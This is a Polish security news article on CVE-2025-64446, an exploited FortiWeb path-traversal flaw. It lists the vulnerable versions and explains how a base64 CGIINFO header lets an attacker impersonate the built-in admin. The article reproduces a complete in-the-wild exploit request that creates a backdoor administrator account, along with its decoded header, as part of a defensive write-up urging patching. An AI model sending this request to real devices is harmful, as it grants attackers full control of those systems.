Mega Sekurak Hacking Party w Krakowie! 26-27.10.2026 r.

Wybrane urządzenia Fortineta pod ostrzałem – atakujący wykorzystywali 0day

17 listopada 2025, 05:28 | Aktualności | 0 komentarzy

Zanim przejdziemy do konkretnego opisu  informacja dla administratorów:  podatne są następujące wersje  FortiWeb dla poszczególnych linii oprogramowania:

  • 8.0: <8.0.2
  • 7.6: <7.6.5
  • 7.4: <7.4.10
  • 7.2: <7.2.12
  • 7.0: <7.0.12
  • 6.4: <= 6.4.3
  • 6.3: <= 6.3.23

Ponadto pojawiła się wreszcie oficjalna informacja od producenta (oraz identyfikator: CVE-2025-64446). Luka została wyceniona na 9.1 w skali CVSS 3.1 czyli krytyczna.  

TLDR:

  • Firmy zajmujące się threat-huntingiem zaalarmowały swoich klientów oraz społeczność Internetu o zaobserwowanej kampanii wycelowanej w urządzenia Fortineta.
  • Atakujący wykorzystywali podatność path-traversal do wywołania funkcji CGI.
  • Skutkiem ataku było  stworzenie konta administratora – backdoora, który można wykorzystać w późniejszej kampanii. Jest to jednoznaczne z całkowitym przejęciem systemu.

Fortinet to firma, która bardzo często gości na naszych łamach. Są ku temu powody. W tym miesiącu, sprawa dotyczy wykrytej kampanii, o której ostrzegały firmy zajmujące się threat huntingiem, już od pewnego czasu. 

https://x.com/DefusedCyber/status/1975242250373517373

Na początku trudno było było określić, czy jest to kolejny wariant znanej podatności (tutaj sugerowano CVE-2022-40684) czy może zupełna nowość, jednak wiadomo było, że producent nie podjął szerszej kampanii informacyjnej. Po dokładniejszej analizie, okazało się, że mamy do czynienia z nową luką – potencjalnie 0-dayem, ponieważ nie były znane żadne biuletyny bezpieczeństwa – a co za tym idzie, ta podatność nie miała nadanego numeru identyfikacyjnego. 

Dokładny opis podatności, na swoim blogu, zamieścił zespół watchTowr – serdecznie zapraszamy do zapoznania się ze szczegółami. 

Atakujący próbował odnaleźć podatne urządzenia przy pomocy zapytań GET, które w natłoku codziennych, zautomatyzowanych prób ataku przez boty, mogły wydawać się niczym niezwykłym (tutaj warto obalić popularny mit dotyczący bezpieczeństwa – jeśli administrujecie serwerem WWW, który ma być widoczny z sieci i nie rejestrujecie tego typu zapytań, znaczy to, że zapewne nie jest dostępny z Internetu – podobne zapytania to niestety smutna codzienność).

POST /api/v2.0/cmd/system/admin%3F/../.. ../../../cgi-bin/fwbcgi HTTP/1.1
Host: [redacted]
User-Agent: python-urllib3/2.2.3
Accept-Encoding: identity
CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Content-Length: 835
Content-Type: application/json

{ "data": { "q_type": 1, "name": "Testpoint", "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0 ", "trusthostv6": "::/0 ", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "domains": "root", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": "AFodIUU3Sszp5" }}

Listing 1. Przykładowe zapytanie (źródło)

Wracając do podatności i przytoczonego na listingu 1 zapytania POST – zauważyć można wykorzystanie przez atakującego zautomatyzowanego narzędzia (stąd User-Agent ustawiony na pythonową bibliotekę requests). Najważniejszym elementem zapytania jest jednak URI,  wskazujący na standardowy adres panelu webowego połączony z sekwencją path traversal oraz odwołanie do binarki implementującej common gateway interface (CGI). Przypomnijmy, jest to mechanizm pozwalający na komunikację serwera WWW z zewnętrznymi programami w celu przetwarzania zapytań.

Badacze przytoczyli zdekompilowaną funkcję main, która pokazuje prosty przepływ sterowania w binarce fwbcgi (listing 2).

int __fastcall main(int argc, const char **argv, const char **envp)
{
  [..SNIP..]

  cgi_init(v3);
  while ( !access("/var/log/debug_cgi", 0) )
    sleep(1u);
  if ( (unsigned int)cgi_inputcheck((__int64)v4) || (gui_conf_init(), cli_init(), (unsigned int)cgi_auth(v4)) )
  {
    cgi_output(v4);
  }
  else
  {
    cgi_process(v4);
    cgi_output(v4);
    conf_end();
  }
  cgi_free(v4);
  return 0;
}

Listing 2. Uproszczona zdekompilowana funkcja main (źródło)

Zapytanie wysłane przez atakującego, aby odnieść skutek musi dotrzeć do funkcji cgi_process(), a więc musi zostać pozytywnie zweryfikowane przez cgi_inputcheck() oraz co najważniejsze cgi_auth(). Pierwsza funkcja sprawdza jedynie poprawność ciała zapytania, które musi być poprawnym obiektem JSON. 

Ciekawsza zdaje się funkcja cgi_auth(), której nazwa wskazuje na jakąś formę uwierzytelniania lub autoryzacji. Ale jest zupełnie inaczej. Tak naprawdę, zgodnie z tym co odkrył watchTowr, funkcja ta służy do przejęcia roli innego użytkownika (ang. impersonate). Funkcja przetwarza wartość zakodowanego w base64 nagłówka CGIINFO. Na podstawie zawartych danych w przesłanym  JSONie, ustawiany jest kontekst, w jakim wykonywane będą operacje. I to wszystko można ustawić zdalnie, nagłówkiem w zapytaniu HTTP. Bez uwierzytelnienia – czyż to nie piękne? 

Zdekodowana zawartość nagłówka z zapytania przedstawionego na listingu 1, przedstawia konkretny obiekt JSON, który definiuje kontekst wykorzystania konta wbudowanego administratora. 

> echo “eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==” | base64 -d 

{"username": "admin", "profname": "prof_admin", "vdom5: "root", "loginname": "admin"}

Listing 3. Zdekodowanie wartości nagłówka CGIINFO

W tym momencie, przetwarzanie zapytania przy pomocy funkcji cgi_process() odbędzie się z uprawnieniami wbudowanego administratora. W przytaczanych przykładach, atak wykorzystuje utworzenie nowego konta oraz nadanie mu uprawnień superużytkwnika. 

Badacze zaprezentowali narzędzie, które pozwala sprawdzić, czy konkretna instancja jest podatna. Jednak nie ma co silić się na nazywanie tego “artifact generatorem”, ponieważ dodaje użytkownika do systemu. Z drugiej strony w sieci dostępne są już działające moduły do metasploita. Patrząc na skomplikowanie tej podatności, odtworzenie działającego eksploita jest zadaniem na tyle trywialnym, że poradzą sobie z nim nawet scriptkiddies. 

W tym miejscu nurtują nas dwie rzeczy. Czy Fortinet wiedział o podatności, tylko nie opublikował żadnych informacji i po cichu ją załatał? Czy może najnowsze wydania przez przypadek nie były podatne? Niestety nie mamy na to jasnej odpowiedzi. 

Na ten moment najważniejsze są dwie rzeczy; po pierwsze, istnieją łatki, które należyzaaplikować (poprzez aktualizację). Podatność jest wykorzystywana w sieci (i była wykorzystywana – według niektórych interpretacji – jako 0day), co powoduje, że instalację łatek trzeba potraktować priorytetowo. Po drugie, warto  sprawdzić, czy Wasza instancja nie ma dodanych jakiś nowych użytkowników. Na razie brakuje informacji o kolejnych krokach cybeprzestępców, ani tym bardziej o dodaniu bardziej skomplikowanych metod persystencji. 

~Black Hat Logan

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz